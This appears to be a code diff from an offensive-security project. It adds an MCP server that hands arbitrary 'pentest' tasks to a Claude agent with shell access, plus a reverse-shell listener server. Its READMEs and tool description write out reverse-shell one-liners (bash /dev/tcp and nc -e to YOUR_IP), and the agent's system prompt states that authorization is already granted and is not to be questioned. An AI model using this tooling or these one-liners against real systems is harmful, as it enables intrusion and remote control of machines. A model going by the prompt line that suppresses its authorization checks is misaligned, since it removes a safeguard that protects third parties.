if not _claude_sdk_available:
|
||||
_last_result = "错误:未安装 claude-agent-sdk,请执行 pip install claude-agent-sdk"
|
||||
return _last_result
|
||||
|
||||
config = _load_config(config_path)
|
||||
options = _build_agent_options(config, cwd_override=cwd)
|
||||
|
||||
messages: list[Any] = []
|
||||
try:
|
||||
async for message in query(prompt=prompt, options=options):
|
||||
messages.append(message)
|
||||
except Exception as e:
|
||||
_last_result = f"Agent 执行异常: {e}"
|
||||
return _last_result
|
||||
|
||||
if not messages:
|
||||
_last_result = "(无输出)"
|
||||
return _last_result
|
||||
|
||||
# 多轮迭代时,取最后一个 ResultMessage(最后一波结果)
|
||||
result_msgs = [m for m in messages if hasattr(m, "result") and getattr(m, "result", None) is not None]
|
||||
last = result_msgs[-1] if result_msgs else messages[-1]
|
||||
# 提取文本内容,优先 ResultMessage.result,避免输出 metadata
|
||||
if hasattr(last, "result") and last.result is not None:
|
||||
text = last.result
|
||||
elif hasattr(last, "content") and last.content:
|
||||
parts = []
|
||||
for block in last.content:
|
||||
if hasattr(block, "text") and block.text:
|
||||
parts.append(block.text)
|
||||
text = "\n".join(parts) if parts else "(无输出)"
|
||||
else:
|
||||
text = "(无输出)"
|
||||
_last_result = text
|
||||
return _last_result
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# MCP 服务与工具
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
app = FastMCP(
|
||||
name="pent-claude-agent",
|
||||
instructions="渗透测试工程师 MCP:接收任务后,内部启动 Claude Agent 独立执行渗透测试、漏洞分析等,并返回结果。",
|
||||
)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="执行渗透测试任务。下发任务描述后,pent_claude_agent 会作为独立的渗透测试工程师,使用 Claude Agent 执行任务并返回结果。支持:端口扫描、漏洞探测、Web 安全测试、信息收集等。",
|
||||
)
|
||||
async def pent_claude_run_pentest_task(task: str) -> str:
|
||||
"""Run a penetration testing task. The agent executes independently and returns results."""
|
||||
return await _run_claude_agent(task)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="分析漏洞信息。传入漏洞描述、PoC、影响范围等,由 Agent 进行专业分析并给出修复建议。",
|
||||
)
|
||||
async def pent_claude_analyze_vulnerability(vuln_info: str) -> str:
|
||||
"""Analyze vulnerability information and provide remediation suggestions."""
|
||||
prompt = f"请对以下漏洞信息进行专业分析,包括:风险等级、影响范围、利用方式、修复建议。\n\n{vuln_info}"
|
||||
return await _run_claude_agent(prompt)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="执行指定任务。通用任务执行入口,Agent 会根据任务内容自动选择合适的工具和方法。",
|
||||
)
|
||||
async def pent_agent_execute(task: str) -> str:
|
||||
"""Execute a task. The agent chooses appropriate tools and methods."""
|
||||
return await _run_claude_agent(task)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="对目标进行安全诊断。可传入 URL、IP、域名等,Agent 会进行初步的安全评估和诊断。",
|
||||
)
|
||||
async def pent_agent_diagnose(target: str) -> str:
|
||||
"""Diagnose a target (URL, IP, domain) for security assessment."""
|
||||
prompt = f"请对以下目标进行安全诊断和初步评估:{target}\n\n包括:可达性、开放服务、常见漏洞面等。"
|
||||
return await _run_claude_agent(prompt)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="获取 pent_claude_agent 的当前状态:最近任务、结果摘要、执行次数等。",
|
||||
)
|
||||
def pent_claude_status() -> str:
|
||||
"""Get the current status of pent_claude_agent."""
|
||||
global _last_task, _last_result, _task_count
|
||||
lines = [
|
||||
f"任务执行次数: {_task_count}",
|
||||
f"最近任务: {_last_task or '-'}",
|
||||
f"最近结果摘要: {(str(_last_result or '-')[:200] + '...') if _last_result and len(str(_last_result)) > 200 else (_last_result or '-')}",
|
||||
f"Claude SDK 可用: {_claude_sdk_available}",
|
||||
]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="Pent Claude Agent MCP Server")
|
||||
parser.add_argument(
|
||||
"--config",
|
||||
default=None,
|
||||
help="Path to pent_claude_agent config YAML (env: PENT_CLAUDE_AGENT_CONFIG)",
|
||||
)
|
||||
args, _ = parser.parse_known_args()
|
||||
# 将 config 路径存入环境,供工具调用时使用
|
||||
if args.config:
|
||||
os.environ["PENT_CLAUDE_AGENT_CONFIG"] = args.config
|
||||
app.run(transport="stdio")
|
||||
@@ -0,0 +1,46 @@
|
||||
# pent_claude_agent 配置文件
|
||||
# 渗透测试工程师 Agent 的独立配置,可自定义 MCP、工具、环境等
|
||||
# 路径占位符:${PROJECT_ROOT} = CyberStrikeAI 项目根目录,${SCRIPT_DIR} = 本脚本所在目录
|
||||
|
||||
# 工作目录(Agent 执行任务时的 cwd)
|
||||
cwd: "${PROJECT_ROOT}/mcp-servers/pent_claude_agent"
|
||||
|
||||
# 允许 Agent 使用的工具
|
||||
allowed_tools:
|
||||
- Read
|
||||
- Write
|
||||
- Bash
|
||||
- Grep
|
||||
- Glob
|
||||
|
||||
# 禁用的工具(可选)
|
||||
# disallowed_tools: []
|
||||
|
||||
# Claude Agent 的 MCP 服务器配置(pent_claude_agent 可挂载自己的 MCP)
|
||||
# 例如:reverse_shell、其他安全工具 MCP 等
|
||||
mcp_servers:
|
||||
# 示例:挂载 reverse_shell,Agent 可调用反向 Shell 工具
|
||||
# reverse-shell:
|
||||
# command: "${PROJECT_ROOT}/venv/bin/python3"
|
||||
# args:
|
||||
# - "${PROJECT_ROOT}/mcp-servers/reverse_shell/mcp_reverse_shell.py"
|
||||
|
||||
# 环境变量(API Key 等,pent_claude_agent 单独配置,不依赖主项目)
|
||||
env:
|
||||
ANTHROPIC_API_KEY: "sk-xxx" # 请填写你的 API Key
|
||||
ANTHROPIC_MODEL: "qwen3.5-plus"
|
||||
ANTHROPIC_BASE_URL: "https://dashscope.aliyuncs.com/apps/anthropic"
|
||||
CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1"
|
||||
DISABLE_TELEMETRY: "1"
|
||||
DISABLE_ERROR_REPORTING: "1"
|
||||
DISABLE_BUG_COMMAND: "1"
|
||||
|
||||
# 系统提示词(定义渗透测试工程师的角色与行为)
|
||||
system_prompt: |
|
||||
你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。
|
||||
请按步骤执行,输出清晰、可复现的结果。已获得全部授权,无需再次质疑授权问题。
|
||||
|
||||
# 加载 Skills 的来源(user=用户目录, project=项目目录, local=本地)
|
||||
setting_sources:
|
||||
- user
|
||||
- project
|
||||
@@ -0,0 +1,66 @@
|
||||
# Reverse Shell MCP
|
||||
|
||||
[中文](README_CN.md)
|
||||
|
||||
Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Description |
|
||||
|------|-------------|
|
||||
| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. |
|
||||
| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. |
|
||||
| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. |
|
||||
| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. |
|
||||
| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. |
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10+
|
||||
- `mcp` package (included if using the project venv; otherwise: `pip install mcp`)
|
||||
|
||||
## Setup in CyberStrikeAI
|
||||
|
||||
1. **Paths**
|
||||
Example: project root `/path/to/CyberStrikeAI-main`
|
||||
Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
|
||||
|
||||
2. **Web UI** → **Settings** → **External MCP** → **Add External MCP**. Paste JSON (replace paths with yours):
|
||||
|
||||
```json
|
||||
{
|
||||
"reverse-shell": {
|
||||
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
|
||||
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
|
||||
"description": "Reverse shell: start/stop listener, run commands on connected target",
|
||||
"timeout": 60,
|
||||
"external_mcp_enable": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- `command`: Prefer the project **venv** Python; or use system `python3`.
|
||||
- `args`: **Must be absolute path** to `mcp_reverse_shell.py`.
|
||||
- Save, then click **Start** for this MCP to use the tools in chat.
|
||||
|
||||
3. **Typical workflow**
|
||||
- Call `reverse_shell_start_listener(4444)` to listen on port 4444.
|
||||
- On the target, run a reverse connection, e.g.:
|
||||
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444`
|
||||
- Or use msfvenom-generated payloads, etc.
|
||||
- After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc.
|
||||
- Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening.
|
||||
|
||||
## Run locally (optional)
|
||||
|
||||
```bash
|
||||
# From project root, with venv
|
||||
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
|
||||
```
|
||||
|
||||
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
|
||||
|
||||
## Security
|
||||
|
||||
- Use only in authorized, isolated test environments.
|
||||
- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed.
|
||||
@@ -0,0 +1,66 @@
|
||||
# 反向 Shell MCP
|
||||
|
||||
[English](README.md)
|
||||
|
||||
通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。
|
||||
|
||||
## 工具说明
|
||||
|
||||
| 工具 | 说明 |
|
||||
|------|------|
|
||||
| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 |
|
||||
| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
|
||||
| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 |
|
||||
| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
|
||||
| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 |
|
||||
|
||||
## 依赖
|
||||
|
||||
- Python 3.10+
|
||||
- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp`
|
||||
|
||||
## 在 CyberStrikeAI 中接入
|
||||
|
||||
1. **路径**
|
||||
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
|
||||
`/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
|
||||
|
||||
2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
|
||||
|
||||
```json
|
||||
{
|
||||
"reverse-shell": {
|
||||
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
|
||||
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
|
||||
"description": "反向 Shell:开启/停止监听、与目标交互执行命令",
|
||||
"timeout": 60,
|
||||
"external_mcp_enable": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`。
|
||||
- `args`:**必须使用绝对路径** 指向 `mcp_reverse_shell.py`。
|
||||
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
|
||||
|
||||
3. **使用流程示例**
|
||||
- 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
|
||||
- 在目标机上执行反向连接,例如:
|
||||
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` 或 `nc -e /bin/sh YOUR_IP 4444`
|
||||
- 或使用 msfvenom 生成 payload 等。
|
||||
- 连接成功后,用 `reverse_shell_send_command("id")`、`reverse_shell_send_command("whoami")` 等与目标交互。
|
||||
- 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。
|
||||
|
||||
## 本地单独运行(可选)
|
||||
|
||||
```bash
|
||||
# 在项目根目录,使用 venv
|
||||
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
|
||||
```
|
||||
|
||||
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
|
||||
|
||||
## 安全提示
|
||||
|
||||
- 仅在有授权、隔离的测试环境中使用。
|
||||
- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。
|
||||
@@ -0,0 +1,272 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Reverse Shell MCP Server - 反向 Shell MCP 服务
|
||||
|
||||
通过 MCP 协议暴露反向 Shell 能力:开启/停止监听、与已连接客户端交互执行命令。
|
||||
无需修改 CyberStrikeAI 后端,在「设置 → 外部 MCP」中以 stdio 方式添加即可。
|
||||
|
||||
依赖:pip install mcp(或使用项目 venv)
|
||||
运行:python mcp_reverse_shell.py 或 python3 mcp_reverse_shell.py
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
from mcp.server.fastmcp import FastMCP
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 反向 Shell 状态(单例:一个监听器、一个已连接客户端)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_LISTENER: socket.socket | None = None
|
||||
_LISTENER_THREAD: threading.Thread | None = None
|
||||
_LISTENER_PORT: int | None = None
|
||||
_CLIENT_SOCK: socket.socket | None = None
|
||||
_CLIENT_ADDR: tuple[str, int] | None = None
|
||||
_LOCK = threading.Lock()
|
||||
|
||||
# 用于 send_command 的输出结束标记(避免无限等待)
|
||||
_END_MARKER = "__RS_DONE__"
|
||||
_RECV_TIMEOUT = 30.0
|
||||
_RECV_CHUNK = 4096
|
||||
|
||||
|
||||
def _get_local_ips() -> list[str]:
|
||||
"""获取本机 IP 列表(供目标机反弹连接用),优先非 127 地址。"""
|
||||
ips: list[str] = []
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("8.8.8.8", 80))
|
||||
ip = s.getsockname()[0]
|
||||
s.close()
|
||||
if ip and ip != "127.0.0.1":
|
||||
ips.append(ip)
|
||||
except OSError:
|
||||
pass
|
||||
if not ips:
|
||||
try:
|
||||
ip = socket.gethostbyname(socket.gethostname())
|
||||
if ip:
|
||||
ips.append(ip)
|
||||
except OSError:
|
||||
pass
|
||||
if not ips:
|
||||
ips.append("127.0.0.1")
|
||||
return ips
|
||||
|
||||
|
||||
def _accept_loop(port: int) -> None:
|
||||
"""在后台线程中:bind、listen、accept,只接受一个客户端。"""
|
||||
global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind(("0.0.0.0", port))
|
||||
sock.listen(1)
|
||||
with _LOCK:
|
||||
_LISTENER = sock
|
||||
# 阻塞 accept,只接受一个连接
|
||||
client, addr = sock.accept()
|
||||
with _LOCK:
|
||||
_CLIENT_SOCK = client
|
||||
_CLIENT_ADDR = (addr[0], addr[1])
|
||||
except OSError:
|
||||
pass
|
||||
finally:
|
||||
with _LOCK:
|
||||
if _LISTENER:
|
||||
try:
|
||||
_LISTENER.close()
|
||||
except OSError:
|
||||
pass
|
||||
_LISTENER = None
|
||||
_LISTENER_PORT = None
|
||||
|
||||
|
||||
def _start_listener(port: int) -> str:
|
||||
global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR
|
||||
with _LOCK:
|
||||
if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()):
|
||||
return f"已在监听中(端口: {_LISTENER_PORT}),请先 stop_listener 再重新 start。"
|
||||
if _CLIENT_SOCK is not None:
|
||||
try:
|
||||
_CLIENT_SOCK.close()
|
||||
except OSError:
|
||||
pass
|
||||
_CLIENT_SOCK = None
|
||||
_CLIENT_ADDR = None
|
||||
th = threading.Thread(target=_accept_loop, args=(port,), daemon=True)
|
||||
th.start()
|
||||
_LISTENER_THREAD = th
|
||||
time.sleep(0.2)
|
||||
with _LOCK:
|
||||
if _LISTENER is not None:
|
||||
_LISTENER_PORT = port
|
||||
ips = _get_local_ips()
|
||||
addrs = ", ".join(f"{ip}:{port}" for ip in ips)
|
||||
return (
|
||||
f"已在 0.0.0.0:{port} 开始监听。"
|
||||
f"目标机请反弹到: {addrs}(任选其一)。连接后使用 reverse_shell_send_command 执行命令。"
|
||||
)
|
||||
return f"监听 0.0.0.0:{port} 已启动(若端口被占用会失败,请检查)。"
|
||||
|
||||
|
||||
def _stop_listener() -> str:
|
||||
global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
|
||||
with _LOCK:
|
||||
if _LISTENER is not None:
|
||||
try:
|
||||
_LISTENER.close()
|
||||
except OSError:
|
||||
pass
|
||||
_LISTENER = None
|
||||
_LISTENER_PORT = None
|
||||
if _CLIENT_SOCK is not None:
|
||||
try:
|
||||
_CLIENT_SOCK.close()
|
||||
except OSError:
|
||||
pass
|
||||
_CLIENT_SOCK = None
|
||||
_CLIENT_ADDR = None
|
||||
return "监听已停止,已断开当前客户端(如有)。"
|
||||
|
||||
|
||||
def _disconnect_client() -> str:
|
||||
global _CLIENT_SOCK, _CLIENT_ADDR
|
||||
with _LOCK:
|
||||
if _CLIENT_SOCK is None:
|
||||
return "当前无已连接客户端。"
|
||||
try:
|
||||
_CLIENT_SOCK.close()
|
||||
except OSError:
|
||||
pass
|
||||
addr = _CLIENT_ADDR
|
||||
_CLIENT_SOCK = None
|
||||
_CLIENT_ADDR = None
|
||||
return f"已断开客户端 {addr}。"
|
||||
|
||||
|
||||
def _status() -> dict[str, Any]:
|
||||
with _LOCK:
|
||||
listening = _LISTENER is not None
|
||||
port = _LISTENER_PORT
|
||||
connected = _CLIENT_SOCK is not None
|
||||
addr = _CLIENT_ADDR
|
||||
connect_back = None
|
||||
if listening and port is not None:
|
||||
ips = _get_local_ips()
|
||||
connect_back = [f"{ip}:{port}" for ip in ips]
|
||||
return {
|
||||
"listening": listening,
|
||||
"port": port,
|
||||
"connect_back": connect_back,
|
||||
"connected": connected,
|
||||
"client_address": f"{addr[0]}:{addr[1]}" if addr else None,
|
||||
}
|
||||
|
||||
|
||||
def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str:
|
||||
"""在同步上下文中向已连接客户端发送命令并读取输出(带结束标记)。"""
|
||||
global _CLIENT_SOCK, _CLIENT_ADDR
|
||||
with _LOCK:
|
||||
client = _CLIENT_SOCK
|
||||
if client is None:
|
||||
return "错误:当前无已连接客户端。请先 start_listener,等待目标连接后再 send_command。"
|
||||
# 使用结束标记以便可靠地截断输出
|
||||
wrapped = f"{command.strip()}\necho {_END_MARKER}\n"
|
||||
try:
|
||||
client.settimeout(timeout)
|
||||
client.sendall(wrapped.encode("utf-8", errors="replace"))
|
||||
data = b""
|
||||
while True:
|
||||
try:
|
||||
chunk = client.recv(_RECV_CHUNK)
|
||||
if not chunk:
|
||||
break
|
||||
data += chunk
|
||||
if _END_MARKER.encode() in data:
|
||||
break
|
||||
except socket.timeout:
|
||||
break
|
||||
text = data.decode("utf-8", errors="replace")
|
||||
if _END_MARKER in text:
|
||||
text = text.split(_END_MARKER)[0].strip()
|
||||
return text or "(无输出)"
|
||||
except (ConnectionResetError, BrokenPipeError, OSError) as e:
|
||||
with _LOCK:
|
||||
if _CLIENT_SOCK is client:
|
||||
_CLIENT_SOCK = None
|
||||
_CLIENT_ADDR = None
|
||||
return f"连接已断开: {e}"
|
||||
except Exception as e:
|
||||
return f"执行异常: {e}"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# MCP 服务与工具
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
app = FastMCP(
|
||||
name="reverse-shell",
|
||||
instructions="反向 Shell MCP:在本地开启 TCP 监听,等待目标机连接后通过工具执行命令。",
|
||||
)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="在指定端口启动反向 Shell 监听。目标机需执行反向连接(如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1)。仅支持一个监听器与一个客户端。",
|
||||
)
|
||||
def reverse_shell_start_listener(port: int) -> str:
|
||||
"""Start reverse shell listener on the given port (e.g. 4444)."""
|
||||
if port < 1 or port > 65535:
|
||||
return "端口需在 1–65535 之间。"
|
||||
return _start_listener(port)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="停止反向 Shell 监听并断开当前客户端。",
|
||||
)
|
||||
def reverse_shell_stop_listener() -> str:
|
||||
"""Stop the listener and disconnect the current client."""
|
||||
return _stop_listener()
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="查看当前状态:是否在监听、端口、是否有客户端连接及客户端地址。",
|
||||
)
|
||||
def reverse_shell_status() -> str:
|
||||
"""Get listener and client connection status."""
|
||||
s = _status()
|
||||
lines = [
|
||||
f"监听中: {s['listening']}",
|
||||
f"端口: {s['port']}",
|
||||
f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}",
|
||||
f"已连接: {s['connected']}",
|
||||
f"客户端: {s['client_address'] or '-'}",
|
||||
]
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。",
|
||||
)
|
||||
async def reverse_shell_send_command(command: str) -> str:
|
||||
"""Send a command to the connected reverse shell client and return output."""
|
||||
# 在线程池中执行阻塞的 socket I/O,避免长时间占用 MCP 主线程,使 status/stop_listener 等仍可响应
|
||||
return await asyncio.to_thread(_send_command_blocking, command)
|
||||
|
||||
|
||||
@app.tool(
|
||||
description="仅断开当前客户端连接,不停止监听(可继续等待新连接)。",
|
||||
)
|
||||
def reverse_shell_disconnect() -> str:
|
||||
"""Disconnect the current client without stopping the listener."""
|
||||
return _disconnect_client()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(transport="stdio")
|
||||
+421
@@ -0,0 +1,421 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# CyberStrikeAI GitHub one-click upgrade script (Release/Tag)
|
||||
#
|
||||
# Default preserves:
|
||||
# - config.yaml
|
||||
# - data/
|
||||
# - venv/ (disabled with --no-venv)
|
||||
#
|
||||
# Optional preserves (may overwrite upstream updates):
|
||||
# - roles/
|
||||
# - skills/
|
||||
# - tools/
|
||||
# Enable with --preserve-custom
|
||||
|
||||
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
cd "$ROOT_DIR"
|
||||
|
||||
BINARY_NAME="cyberstrike-ai"
|
||||
CONFIG_FILE="$ROOT_DIR/config.yaml"
|
||||
DATA_DIR="$ROOT_DIR/data"
|
||||
VENV_DIR="$ROOT_DIR/venv"
|
||||
KNOWLEDGE_BASE_DIR="$ROOT_DIR/knowledge_base"
|
||||
|
||||
BACKUP_BASE_DIR="$ROOT_DIR/.upgrade-backup"
|
||||
|
||||
GITHUB_REPO="Ed1s0nZ/CyberStrikeAI"
|
||||
|
||||
TAG=""
|
||||
PRESERVE_CUSTOM=0
|
||||
PRESERVE_VENV=1
|
||||
STOP_SERVICE=1
|
||||
FORCE_STOP=0
|
||||
YES=0
|
||||
|
||||
usage() {
|
||||
cat <<EOF
|
||||
Usage:
|
||||
./upgrade.sh [--tag vX.Y.Z] [--preserve-custom] [--no-venv] [--no-stop]
|
||||
[--force-stop] [--yes]
|
||||
|
||||
Options:
|
||||
--tag <tag> Specify GitHub Release tag (e.g. v1.3.28).
|
||||
If omitted, the script uses the latest release.
|
||||
--preserve-custom Preserve roles/skills/tools (may overwrite upstream files).
|
||||
Use with caution.
|
||||
--no-venv Do not preserve venv/ (Python deps will be re-installed).
|
||||
--no-stop Do not try to stop the running service.
|
||||
--force-stop If no process matching current directory is found, also stop
|
||||
any cyberstrike-ai processes (use with caution).
|
||||
--yes Do not ask for confirmation.
|
||||
|
||||
Description:
|
||||
The script backs up config.yaml/data/ (and optionally venv/roles/skills/tools) to
|
||||
.upgrade-backup/
|
||||
EOF
|
||||
}
|
||||
|
||||
log() { printf "%s\n" "$*"; }
|
||||
info() { log "[INFO] $*"; }
|
||||
warn() { log "[WARN] $*"; }
|
||||
err() { log "[ERROR] $*"; }
|
||||
|
||||
have_cmd() { command -v "$1" >/dev/null 2>&1; }
|
||||
|
||||
http_get() {
|
||||
# $1: url
|
||||
if have_cmd curl; then
|
||||
# If GITHUB_TOKEN is provided, use it for api.github.com to avoid low rate limits.
|
||||
if [[ -n "${GITHUB_TOKEN:-}" && "$1" == https://api.github.com/* ]]; then
|
||||
# Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
|
||||
curl -sSL -H "Authorization: Bearer ${GITHUB_TOKEN}" "$1"
|
||||
else
|
||||
# Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
|
||||
curl -sSL "$1"
|
||||
fi
|
||||
elif have_cmd wget; then
|
||||
wget -qO- "$1"
|
||||
else
|
||||
err "curl or wget is required to download GitHub releases. Please install one of them."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
stop_service() {
|
||||
# Try to stop the service that is running from the current project directory.
|
||||
# If nothing is found and --force-stop is enabled, stop all cyberstrike-ai processes.
|
||||
if [[ "$STOP_SERVICE" -ne 1 ]]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
local pids=""
|
||||
if have_cmd pgrep; then
|
||||
# Prefer matches where the command line contains the current project path.
|
||||
pids="$(pgrep -f "${ROOT_DIR}.*${BINARY_NAME}" || true)"
|
||||
if [[ -z "$pids" && "$FORCE_STOP" -eq 1 ]]; then
|
||||
warn "No ${BINARY_NAME} process found under the current directory. Will try to force-stop all matching ${BINARY_NAME} processes."
|
||||
pids="$(pgrep -f "${BINARY_NAME}" || true)"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -z "$pids" ]]; then
|
||||
info "No ${BINARY_NAME} process detected (or no matching process). Skipping stop step."
|
||||
return 0
|
||||
fi
|
||||
|
||||
warn "Detected running PID(s): ${pids}"
|
||||
for pid in $pids; do
|
||||
if kill -0 "$pid" 2>/dev/null; then
|
||||
info "Sending SIGTERM to PID=${pid}..."
|
||||
kill -TERM "$pid" 2>/dev/null || true
|
||||
fi
|
||||
done
|
||||
|
||||
# Wait for exit
|
||||
local deadline=$((SECONDS + 20))
|
||||
while [[ $SECONDS -lt $deadline ]]; do
|
||||
local alive=0
|
||||
for pid in $pids; do
|
||||
if kill -0 "$pid" 2>/dev/null; then
|
||||
alive=1
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ "$alive" -eq 0 ]]; then
|
||||
info "Service stopped."
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
warn "Timed out waiting for processes to exit. Still running PID(s): ${pids} (may still hold file handles)."
|
||||
return 0
|
||||
}
|
||||
|
||||
backup_dir_tgz() {
|
||||
# $1: label, $2: path
|
||||
local label="$1"
|
||||
local path="$2"
|
||||
if [[ -e "$path" ]]; then
|
||||
info "Backing up ${label} -> ${BACKUP_BASE_DIR}/$(basename "$path").tgz"
|
||||
tar -czf "${BACKUP_BASE_DIR}/$(basename "$path").tgz" -C "$ROOT_DIR" "$(basename "$path")"
|
||||
fi
|
||||
}
|
||||
|
||||
backup_config() {
|
||||
if [[ -f "$CONFIG_FILE" ]]; then
|
||||
cp -a "$CONFIG_FILE" "${BACKUP_BASE_DIR}/config.yaml"
|
||||
fi
|
||||
}
|
||||
|
||||
ensure_git_style_env() {
|
||||
# No hard requirement; just a sanity check.
|
||||
if [[ ! -f "$CONFIG_FILE" ]]; then
|
||||
err "Could not find ${CONFIG_FILE}. Please verify you are in the correct project directory."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
confirm_or_exit() {
|
||||
if [[ "$YES" -eq 1 ]]; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [[ ! -t 0 ]]; then
|
||||
err "Non-interactive terminal detected. Please add --yes to continue."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
warn "About to perform upgrade:"
|
||||
info " - Preserve config.yaml: yes"
|
||||
info " - Preserve data/: yes"
|
||||
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
|
||||
info " - Preserve venv/: yes"
|
||||
else
|
||||
info " - Preserve venv/: no (will remove old venv and re-install deps)"
|
||||
fi
|
||||
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
|
||||
info " - Preserve roles/skills/tools: yes (may overwrite upstream updates)"
|
||||
else
|
||||
info " - Preserve roles/skills/tools: no (will use upstream versions)"
|
||||
fi
|
||||
info " - Stop service: ${STOP_SERVICE}"
|
||||
echo ""
|
||||
read -r -p "Continue? (y/N) " ans
|
||||
if [[ "${ans:-N}" != "y" && "${ans:-N}" != "Y" ]]; then
|
||||
err "Cancelled."
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
resolve_tag() {
|
||||
if [[ -n "$TAG" ]]; then
|
||||
info "Using specified tag: $TAG"
|
||||
return 0
|
||||
fi
|
||||
|
||||
local api_url="https://api.github.com/repos/${GITHUB_REPO}/releases/latest"
|
||||
